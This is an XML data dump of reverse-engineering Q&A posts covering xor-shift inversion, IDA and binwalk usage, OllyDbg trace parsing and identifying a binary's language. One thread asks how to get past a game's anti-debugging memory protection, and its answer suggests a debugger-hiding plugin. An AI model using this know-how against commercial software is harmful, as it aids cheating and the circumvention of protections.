  <row Id="3345" PostTypeId="1" CreationDate="2014-01-03T10:07:04.090" Score="13" ViewCount="646" Body="&lt;p&gt;I just read some code that applies a series of transformations to a 4 byte integer. I'm curious to know if the following function is invertible.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f(y) = y^(y&amp;gt;&amp;gt;11)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A general doubt I have, is the thought process involved when trying to find the inverse functions whenever a series of instructions are given. Do you have a methodology for approaching these kinds of problems?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="53" LastEditDate="2014-07-04T21:11:50.447" LastActivityDate="2014-07-05T10:00:36.873" Title="Inverting functions HOWTO" Tags="|functions|crackme|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3346" PostTypeId="2" ParentId="3345" CreationDate="2014-01-03T12:25:19.727" Score="5" Body="&lt;p&gt;I try to give a very superficial answer for your question because I am quite sure that there are other treatments for this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mathematically, the function &lt;code&gt;f(y) = y^(y &amp;gt;&amp;gt; 11)&lt;/code&gt; is invertible in the sense that the left-inversion, namely a function &lt;code&gt;g&lt;/code&gt; so that &lt;code&gt;y = g(f(y))&lt;/code&gt; exists, because &lt;code&gt;f&lt;/code&gt; is an injective function. However that does not mean we can easily find the inversion function because it may be uncomputable, namely in this case we cannot give an algorithm calculating &lt;code&gt;g&lt;/code&gt;. Practically, there may exist some computable methods to &quot;approximate&quot; it (maybe abstract interpretation ?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a more strict case (but maybe more practical), if the value of &lt;code&gt;y&lt;/code&gt; is stored in 4 bytes and the value of &lt;code&gt;f(y)&lt;/code&gt; is stored in less than 4 bytes then the function is trivally not invertible because of the pigeon-hole principle. Moreover, the computation of an arbitrary sequence of instructions is not invertible in general because of the information-lost along the execution, to see that we can consider an example (in pseudo-assembly code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f(y) = &#xA; mov eax, y&#xA; xor eax, eax&#xA; return eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then &lt;code&gt;f(y)&lt;/code&gt; is not invertible because the output is always &lt;code&gt;0&lt;/code&gt; regardless of the input. However if we can store some &quot;state values&quot; (i.e. not only the output and the instruction sequence) along the execution of instructions then the inversion is possible, this idea has been proposed everywhere, e.g. in &lt;a href=&quot;https://stackoverflow.com/questions/1470434/how-does-reverse-debugging-work&quot;&gt;GDB Reverse Debugging&lt;/a&gt; or in &lt;a href=&quot;http://www.ece.gatech.edu/research/codesign/publications/tankut/paper/git-cc-02-49.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I got a mistake here because I thought ^ is an exponentation (so I doubt that the inversion is uncomputable in the general case) but in fact it is bitwise exclusive.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-01-03T16:04:40.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3347" PostTypeId="2" ParentId="3331" CreationDate="2014-01-03T13:32:42.007" Score="5" Body="&lt;p&gt;This feature is supported since Hex-Rays 1.6:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=544&quot; rel=&quot;noreferrer&quot;&gt;http://www.hexblog.com/?p=544&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(see section 3. CONTAINING_RECORD macro)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-01-03T13:32:42.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3348" PostTypeId="1" CreationDate="2014-01-03T13:52:32.000" Score="4" ViewCount="733" Body="&lt;p&gt;I have attempted working with BinDiff to compare files and save the output, but unfortunately I am unable to save it to anything other than a .BinDiff or .BinExport file type. To try and counter this problem I attempted using another IDA plug-in, PatchDiff2. I am running into the same problem with this software. I can get the comparison and it is exactly what I want but I have no means of sending it to a text,pdf,or html file (which  I need it to be). I am running IDA 6.5 PatchDiff 2.0.10b and BinDiff 4.0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I understand that this is open source, however I am wondering if there is a built in plug-in to simply save the results as a text file, pdf, html etc. &lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="2147" LastEditDate="2016-10-11T13:17:37.717" LastActivityDate="2016-10-11T13:17:37.717" Title="PatchDiff2 Outputting results to a Text File" Tags="|ida|ida-plugin|patch-reversing|tool-bindiff|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3349" PostTypeId="2" ParentId="3345" CreationDate="2014-01-03T14:05:43.067" Score="14" Body="&lt;p&gt;A good way to quickly find if a function &lt;code&gt;f()&lt;/code&gt; has an inverse or not, is trying to find two elements of the initial domain &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; such that &lt;code&gt;x!=y&lt;/code&gt; and &lt;code&gt;f(x)==f(y)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If such couple of elements exist, you cannot distinguish them in the target domain of &lt;code&gt;f&lt;/code&gt; and, thus, a reverse function cannot be built.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your example: &lt;code&gt;f(x) = x^(x&amp;gt;&amp;gt;11)&lt;/code&gt;, we can split the resulting bit vector into three parts (a first clear part from &lt;code&gt;b31&lt;/code&gt; to &lt;code&gt;b21&lt;/code&gt;, a second Xored part with the first part (and thus that can be recovered) from &lt;code&gt;b20&lt;/code&gt; to &lt;code&gt;b10&lt;/code&gt;, and a last third part that can be recovered with the clear text of the second part from &lt;code&gt;b9&lt;/code&gt; to &lt;code&gt;b0&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = (b31, ..., b0)&#xA;&#xA;f(x) = (b31, ..., b21, b20^b31, b19^b30, ..., b10^b21, b9^b20, ..., b0^b11) &#xA;         clear part   |      xored with clear part    | xored with previous part&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in fact, no information is lost and a reversed function can be built from this. Here is a pseudo code explaining the principle of this reverse function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g(x)&#xA;{&#xA;   /* Get the clear part */&#xA;   y = (x &amp;gt;&amp;gt; 20);&#xA;&#xA;   /* Unmask the second part */&#xA;   z = ((x &amp;lt;&amp;lt; 11) &amp;gt;&amp;gt; 21) ^ y;&#xA;&#xA;   /* Unmask the third part */&#xA;   t = ((x &amp;lt;&amp;lt; 22) &amp;gt;&amp;gt; 22) ^ z;&#xA;&#xA;   /* Reassembling the whole thing */&#xA;   return (y &amp;lt;&amp;lt; 20 + z &amp;lt;&amp;lt; 11 + t);&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-01-03T14:29:50.137" LastActivityDate="2014-01-03T14:29:50.137" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3350" PostTypeId="2" ParentId="3348" CreationDate="2014-01-03T15:14:20.097" Score="2" Body="&lt;p&gt;PatchDiff2 is &lt;a href=&quot;http://patchdiff2.googlecode.com/svn/trunk/&quot; rel=&quot;nofollow&quot;&gt;open-source&lt;/a&gt;, so you can edit it yourself to write the output to a file.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-03T15:14:20.097" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3351" PostTypeId="2" ParentId="3345" CreationDate="2014-01-03T15:41:32.093" Score="8" Body="&lt;p&gt;Perror already covered this particular case, but here are some general principles for inverting similar functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: all of this assumes the integer is either unsigned, or it is signed using two's complement and using unsigned shifts. In Java, two's complement is guaranteed. In C/C++, it is not guaranteed, but it's almost always the case in practice, and you can check the compiled assembly to be sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sequence of transformations involving xor and bitshifts can be thought of as a linear (or affine if there are constants) transformation on a vector in (GF2)^32. Essentially, you have a 32 element vector of numbers mod 2, and since xor is addition mod 2, and you are multiplying it by a matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the transformation is invertible iff the matrix is invertible. Luckily this is usually the case. A function of the form &lt;code&gt;x ^ (x &amp;gt;&amp;gt;&amp;gt; n)&lt;/code&gt; with n &gt; 0 is a lower triangular matrix and hence invertible. Likewise, &lt;code&gt;x ^ (x &amp;lt;&amp;lt; n)&lt;/code&gt; is an upper triangular matrix and so also invertible. Since the product of invertible matrices is invertible, any sequence of such transformations will also be invertible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a signed shift (&gt;&gt; in Java) is not necessarily invertible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for actually inverting it, the easiest way (though not necessary the fastest) is to simply calculate the transformation matrix entries, then perform Guassian elimination (no rounding errors in a finite field).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll often see other operations mixed in as well. Addition and multiplication can be thought of as operations in the ring modulo 2^32. With two's complement, it doesn't matter whether you're using signed or unsigned numbers. Addition by a constant is simple: just subtract the constant. Multiplication by any &lt;em&gt;odd&lt;/em&gt; constant is also invertible: just multiply by the multiplicative modular inverse. You can find code to calculate this online, or just take &lt;code&gt;pow(c, (2**31)-1, 2**32)&lt;/code&gt; if you're doing Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multiplication by an even constant loses information, so it cannot be fully inverted. Likewise, a combination of additions with the same effect won't be either. For example &lt;code&gt;x + x&lt;/code&gt; is not invertible, since it's equivalent to &lt;code&gt;x * 2&lt;/code&gt;. &lt;code&gt;x + (x&amp;lt;&amp;lt;4)&lt;/code&gt; is invertible, because it is equivalent to &lt;code&gt;x * 17&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the fact that the composition of affine transformation is also affine, you can save time by just multiplying through all such operations and then inverting it in a single step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitwise ands and ors always lose information except in the trivial case, so they won't be invertible. But usually they are used to select part of the information for combination in a lossless manner, so the overall expression is still invertible. For example &lt;code&gt;x ^ ((x &amp;amp; 555) * 4)&lt;/code&gt; is invertible even though two of the individual components of the expression are noninvertible operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple other things you might see. Operations in GF(2^32) are basically the same as regular addition and multiplication except there's no carry. This is typically used in CRCs. Addition (which is just xor) and multiplication by any nonzero number are invertible, using the same technique as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Substitution boxes (or sboxes) - these are designed to be invertible, but normally don't have any particular structure. Typically these are expressed as a table lookup, with a precomputed table for the inverse as well. If not, you can always make your own inverse table, assuming the inputs aren't too big.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="1739" LastEditDate="2014-01-04T02:13:49.477" LastActivityDate="2014-01-04T02:13:49.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3352" PostTypeId="1" AcceptedAnswerId="3353" CreationDate="2014-01-03T16:31:47.230" Score="3" ViewCount="1831" Body="&lt;p&gt;I am trying to disassemble some various files, and IDA does not recognize them. Is there anyway to add more file types to IDA Pro? I am running ida 6.5&lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="2147" LastEditDate="2016-09-30T22:00:32.093" LastActivityDate="2016-09-30T22:00:32.093" Title="IDA Pro only recognizes my files as BINARY" Tags="|ida|binary-analysis|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3353" PostTypeId="2" ParentId="3352" CreationDate="2014-01-03T16:37:39.090" Score="3" Body="&lt;p&gt;You would need to create a Loader plugin for them. See the &lt;code&gt;ldr&lt;/code&gt; directory in the IDA Pro SDK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the Loader is built, you would copy it to the &lt;code&gt;loaders&lt;/code&gt; subdirectory under IDA Pro's directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a nice blog entry on writing IDA Pro file loaders in higher level languages: &lt;a href=&quot;http://www.hexblog.com/?p=110&quot; rel=&quot;nofollow&quot;&gt;http://www.hexblog.com/?p=110&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-03T16:37:39.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3354" PostTypeId="1" CreationDate="2014-01-03T17:35:18.940" Score="7" ViewCount="10575" Body="&lt;p&gt;I'm just new to these field. So bare with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These is the result when I run binwalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r2A3x.png&quot; alt=&quot;Result of binwalk&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to extract it using binwalk, it just give endless archives and files to analyse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas if it is a false positive?&#xA;I just want to access one web file on the filesystem. Can anybody help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the firmware file:&#xA;&lt;a href=&quot;https://www.mediafire.com/download/mc5as6tf357enxx/firmware.BIN&quot; rel=&quot;noreferrer&quot;&gt;https://www.mediafire.com/download/mc5as6tf357enxx/firmware.BIN&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3540" LastActivityDate="2014-02-03T12:51:03.477" Title="Decompiling Modem Firmware (firmware.bin) with unknown results on binwalk" Tags="|disassembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3355" PostTypeId="2" ParentId="3354" CreationDate="2014-01-03T20:46:42.123" Score="5" Body="&lt;p&gt;You can limit the amount of levels it will scan. BinWalk defaults at 8 levels but this can be modified by giving the following command line switch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-M, --matryoshka=[n]     Recursively scan extracted files, up to n levels deep (default: 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For further information on binwalk usage, as well as other extraction options try &lt;a href=&quot;http://binwalk.org/?incsub_wiki=usage&quot; rel=&quot;nofollow&quot;&gt;following up here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="53" LastEditDate="2014-02-03T12:51:03.477" LastActivityDate="2014-02-03T12:51:03.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3357" PostTypeId="2" ParentId="2412" CreationDate="2014-01-03T22:46:02.823" Score="3" Body="&lt;p&gt;I have found that parsing the run trace is not as trivial as one would wish (and as I assumed too, like the people who commented your question). There are a few reasons for this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Fields are separated by a variable number of spaces. If one of the fields is too long, a single semicolon is used as a separator instead. However a variable number of spaces is not guaranteed to be a field separator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One of the first fields is the address of the executed instruction. Instead of a hex address, this can also be a (possibly demangled C++) symbol. The lines can include beasts like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main  std::basic_string&amp;lt;unsigned short,std::char_traits&amp;lt;unsigned short&amp;gt;,std::allocator&amp;lt;unsigned short&amp;gt; &amp;gt;::~basic_string&amp;lt;unsigned short,std::char_traits&amp;lt;unsigned short&amp;gt;,std::allocator&amp;lt;unsigned short&amp;gt; &amp;gt;;push 0;0018EB38=0;ESP=0018EB38&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, demangled names can occur in the assembler instruction too as well, not only in the address field. Also, I believe that ABCDEF0 would be both a valid hex address and a valid symbol name, and they cannot be told apart since the trace only reports &lt;em&gt;either&lt;/em&gt; the demangled name &lt;em&gt;or&lt;/em&gt; the hex address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the data pointed to as indicated in the comments field of the trace contains ASCII or unicode data according to OllyDbg's heuristics, the contained string is displayed. At least newlines inside the strings are not escaped, so you have to deal with split lines.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Relevant at least if you would like to extract a call trace: It is not in general trivial do determine without referring to surrounding instructions whether a call was traced into (the normal case) or traced over (in case of Windows DLL calls). You can use heuristics like whether the &quot;call instruction&quot; is shown to modify other registers beyond ESP. By tracking ESP, it should be possible to determine this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The precise format of the dump trace apparently depends heavily on the options, including things like whether the assembly mnemonic is separated from the operands by spaces or a tab, and whether the assembly displayed is all caps or in lower case.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Everything above pertains to OllyDbg 2.01; I suspect there are bound to be differences between different versions (and I for one would not mind if the format was made more parseable in future versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said all that, I have written some (Haskell) code to parse the output that works for me right now with my particular options and the particular application dumped. Here's a PERL-compatible regular expression (won't work as is in a POSIX regex context) I use to match lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^main  ([0-9A-F]{8}|(?:unsigned |operator |vbase destructor|[^ ;]| &amp;gt;)+)(?: +|;)((?:[^=; ]|operator.{0,2}=| (?! ))+)(?:(?: +|;)([^ ]+=.*))?$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 1st capturing group is the address/symbolic name, the 2nd group is the assembly instruction, and the 3rd group is the &quot;comment&quot; portion of the line containing memory contents and register changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I will proceed to make my Haskell program into a filter which parses run traces and outputs them in a more readily machine-parseable format (maybe CSV or something); I can share the code if someone is interested. (Sorry about using Haskell; I just need performance that scripted languages don't give. The size of my dump is 2 gigabytes, and my Haskell parser consumes it at roughly 50 Mb/s.)&lt;/p&gt;&#xA;" OwnerUserId="3178" LastEditorUserId="3178" LastEditDate="2014-01-04T02:08:02.773" LastActivityDate="2014-01-04T02:08:02.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3358" PostTypeId="1" CreationDate="2014-01-03T22:55:03.360" Score="4" ViewCount="320" Body="&lt;p&gt;I'm looking for ways to quickly triage applications when I'm reverse engineering and I've been looking at solutions that have already been written before I write my own I saw funcap (&lt;a href=&quot;https://github.com/deresz/funcap/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/deresz/funcap/&lt;/a&gt;) mentioned in another question here and it looked like exactly what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I've loaded/run the script and it doesn't look like it's doing anything. I get messages saying it's on and off, but other than that no output. It's also asked me to select a debugger so I know the script is running but there's no output or notes added to the idb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the plugin was published it said there was a lot of documentation available but it doesn't look like anyone else has had this issue. I've tried running the script and the running the process in a debugger, and breaking at the beginning of a processor and then running the script and in both situations it hasn't worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like this is a dumb question but I was hoping someone else here had experience using this script, or a similar one and could point towards what I'm doing wrong. I'm on IDA 6.3 if that makes a difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I forgot to mention above the original reason I was looking at the script is I'd just like something to quickly tag functions and their parameters. funcap looks like the only one I've run into that can do this. I've also looked at doing something with PIN but it seemed like (at the time) this would be easier.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastEditorUserId="2147" LastEditDate="2018-10-02T20:02:34.840" LastActivityDate="2018-10-02T20:02:34.840" Title="funcap not capturing information in IDA debugger" Tags="|ida|idapython|tools|ida-plugin|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3359" PostTypeId="2" ParentId="3354" CreationDate="2014-01-04T01:27:25.397" Score="6" Body="&lt;p&gt;Well, the files and archives aren't endless, but there are a lot of them. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run binwalk with just the -e option (no -M), it will only extract files from the firmware.BIN image and not scan any other files, or, as @user3119546 mentioned, you can limit the recursion depth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the gzip files that binwalk found appear to be valid (except for one). What you are seeing is not uncommon, mostly because two of the extracted gzip files (at offsets 0xC77C94 and 0x21CA97A) are uncompressed YAFFS file systems, thus when binwalk scans them, binwalk sees all the files in the YAFFS file systems (which in this case is a lot):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk C77C94 &#xA;&#xA;DECIMAL       HEX             DESCRIPTION&#xA;------------------------------------------------------------------------------------------------------------------------------------------------------&#xA;0             0x0             YAFFS filesystem&#xA;4112          0x1010          YAFFS filesystem&#xA;8224          0x2020          YAFFS filesystem&#xA;16448         0x4040          YAFFS filesystem&#xA;98688         0x18180         XML document, version: &quot;1.0&quot;&#xA;98738         0x181B2         Copyright string: &quot; 2006, Google Inc.ed under the Apache License, Version 2.0 (the &quot;License&quot;);&quot;&#xA;111024        0x1B1B0         PEM RSA private key&#xA;172704        0x2A2A0         XML document, version: &quot;1.0&quot;&#xA;180928        0x2C2C0         XML document, version: &quot;1.0&quot;&#xA;189152        0x2E2E0         XML document, version: &quot;1.0&quot;&#xA;197376        0x30300         XML document, version: &quot;1.0&quot;&#xA;209712        0x33330         XML document, version: &quot;1.0&quot;&#xA;267280        0x41410         XML document, version: &quot;1.0&quot;&#xA;275504        0x43430         XML document, version: &quot;1.0&quot;&#xA;283728        0x45450         XML document, version: &quot;1.0&quot;&#xA;291952        0x47470         XML document, version: &quot;1.0&quot;&#xA;308400        0x4B4B0         XML document, version: &quot;1.0&quot;&#xA;320736        0x4E4E0         XML document, version: &quot;1.0&quot;&#xA;357744        0x57570         PEM RSA private key&#xA;370080        0x5A5A0         gzip compressed data, maximum compression, from Unix, NULL date: Wed Dec 31 19:00:00 1969&#xA;407088        0x63630         PEM RSA private key&#xA;423536        0x67670         PEM RSA private key&#xA;431790        0x696AE         LZMA compressed data, properties: 0x40, dictionary size: 16777216 bytes, uncompressed size: 6144 bytes&#xA;464656        0x71710         PEM certificate&#xA;505776        0x7B7B0         Zip archive data, at least v2.0 to extract, compressed size: 943, uncompressed size: 1675, name: &quot;testkey.x509.pem&quot;&#xA;506879        0x7BBFF         End of Zip archive&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a situation where just extracting the original image then doing separate scans on each the extracted files is perhaps more informative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cursory glance at strings / binwalk scans of the other uncompressed gzip files, this appears to be a Huawei device running VxWorks, but the HTML file you're looking for is probably in one of those two YAFFS file systems.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-01-04T01:27:25.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3360" PostTypeId="2" ParentId="3043" CreationDate="2014-01-04T02:42:09.113" Score="2" Body="&lt;p&gt;Answering here in case other folks find this question and need a more detailed answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of assumptions up front. OP said &quot;application&quot;, so I'm assuming an OS that 1) has kernel/user mode, 2) is not a closed system (ie not an appliance or device), 3) has some notion of &quot;process&quot;, and 4) has a debugger that allows you to debug a specific process (either an existing process or one the debugger launches). Think Windows, Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of simplicity let's assume the app is single threaded. After breaking into the debugger a processor will be executing in the infinite loop (with some caveats). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If the app is multithreaded then you need to switch to the context of each thread currently running and determine if an infinite loop is being executed by that thread. While unlikely, it is possible for an app to have multiple simultaneous infinite loops. Its also possible to have an infinite loop in a callback function in a thread the app didn't create.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases an infinite loop is just a few instructions (for the sake of discussion say &amp;lt; 50). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a small infinite loop you can just single step (stepping over function calls) through the loop and characterize the whole loop. If the loop is more than say 8 instructions, it might help if you write down each chunk of assembly that has a single entry point and a single exit (a so called basic block) on a piece of paper and draw arrows between the basic blocks that represent all the jumps (and returns). Any arrows leading to code that doesn't get executed when you step through the loop are potential loop exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no such arrows then the code was written to be an infinite loop - the loop may be intentional or the coder just made a coding error. If there are arrows out then they will (usually) be preceded by some sort of test/compare instructions. You need to investigate why those test/compare instruction never result in the loop being exited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the case that you've got a &quot;big&quot; infinite loop, stepping through each instruction becomes impractical (or at least tiresome). To find the reason for the loop you'll need to understand the code involved well enough to understand what the infinite loop is trying to accomplish and why the loop exit condition(s) is not being met. Here you'll use other RE techniques to understand the code making up the loop. Once you have that level of understanding you can focus on understanding why the loop exit conditions aren't being met.&lt;/p&gt;&#xA;" OwnerUserId="3533" LastActivityDate="2014-01-04T02:42:09.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3361" PostTypeId="1" CreationDate="2014-01-04T04:45:16.767" Score="3" ViewCount="11946" Body="&lt;p&gt;I wanted to debug a game using OllyDBG. When I'm in the game main menu, I can debug and set breakpoint without problem and when I open the game process using Cheat Engine, I can view the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VRSUF.png&quot; alt=&quot;Attach to the game before entering the game map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I start to play the game and enter the game map, the game crash when the breakpoint triggered. And also, when I try to reattach the Cheat Engine, the memory cannot be read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FRx99.png&quot; alt=&quot;Attach to the game after entering the game map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I go back to the main menu again, the protection is being turn off... I can view the memory, and debug again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea which on which function should add bp in order to trace this memory protection? I already add bp on the &lt;code&gt;IsDebuggerPresent&lt;/code&gt;, but it doesn't trigger, so I'm pretty sure it's not the one..&lt;/p&gt;&#xA;" OwnerUserId="3546" LastEditorUserId="189" LastEditDate="2014-01-05T05:24:36.410" LastActivityDate="2014-01-05T20:56:42.357" Title="Bypassing basic memory protection" Tags="|ollydbg|anti-debugging|memory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3362" PostTypeId="1" AcceptedAnswerId="3366" CreationDate="2014-01-05T07:02:16.673" Score="56" ViewCount="158218" Body="&lt;p&gt;How to understand if exe/dll is written in C++/.Net/Java or in any other language. I tried to use Dependency walker but not able to get required information.&lt;/p&gt;&#xA;" OwnerUserId="2460" LastEditorUserId="3615" LastEditDate="2014-01-11T03:42:31.430" LastActivityDate="2021-05-07T13:37:05.293" Title="How to know in which language/technology program (.exe) is written?" Tags="|disassembly|windows|binary-analysis|static-analysis|executable|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3363" PostTypeId="2" ParentId="3362" CreationDate="2014-01-05T07:23:29.320" Score="12" Body="&lt;p&gt;Marco Pontello's &lt;a href=&quot;http://mark0.net/soft-trid-e.html&quot;&gt;TrID&lt;/a&gt; software can usually identify what was used to compile a file.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2014-01-05T07:23:29.320" CommentCount="3" CommunityOwnedDate="2014-01-05T07:23:29.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="3364" PostTypeId="2" ParentId="3361" CreationDate="2014-01-05T09:11:10.970" Score="0" Body="&lt;p&gt;If you're using OllyDbg (Not OllyDbg 2), there are plugins that help fool the application into thinking it's not being debugged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;a href=&quot;http://www.openrce.org/downloads/details/238/Hide_Debugger&quot; rel=&quot;nofollow&quot;&gt;&quot;Hide Debugger&quot;&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, then you'll probably have to go in and figure out what it's doing by hand. You might want to try breaking once you hit start, and then doing some static analysis to figure out what's going on from that point. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="3551" LastEditorUserId="1485" LastEditDate="2014-01-05T16:56:44.990" LastActivityDate="2014-01-05T16:56:44.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
